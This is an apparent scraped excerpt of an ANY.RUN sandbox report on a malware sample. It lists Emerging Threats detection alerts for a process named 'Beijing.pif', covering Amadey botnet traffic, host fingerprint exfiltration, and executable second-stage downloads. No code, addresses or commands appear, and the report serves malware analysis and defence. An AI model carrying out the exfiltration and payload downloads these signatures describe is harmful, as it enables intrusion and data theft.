BOTNET [ANY.RUN] Amadey HTTP POST Request (st=s)
6864
Beijing.pif
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
6864
Beijing.pif
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
6864
Beijing.pif
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
6864
Beijing.pif
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
6864
Beijing.pif
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 33
6864
Beijing.pif
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
6864
Beijing.pif
A Network Trojan was detected
ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2
6864
Beijing.pif
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
6864
Beijing.pif
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
2 ETPRO signatures available at the full report
Process
Message
FRaqbC8wSA1XvpFVjCRGryWt.exe
CLR: Managed code called FailFast without specifying a reason.
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
file.exe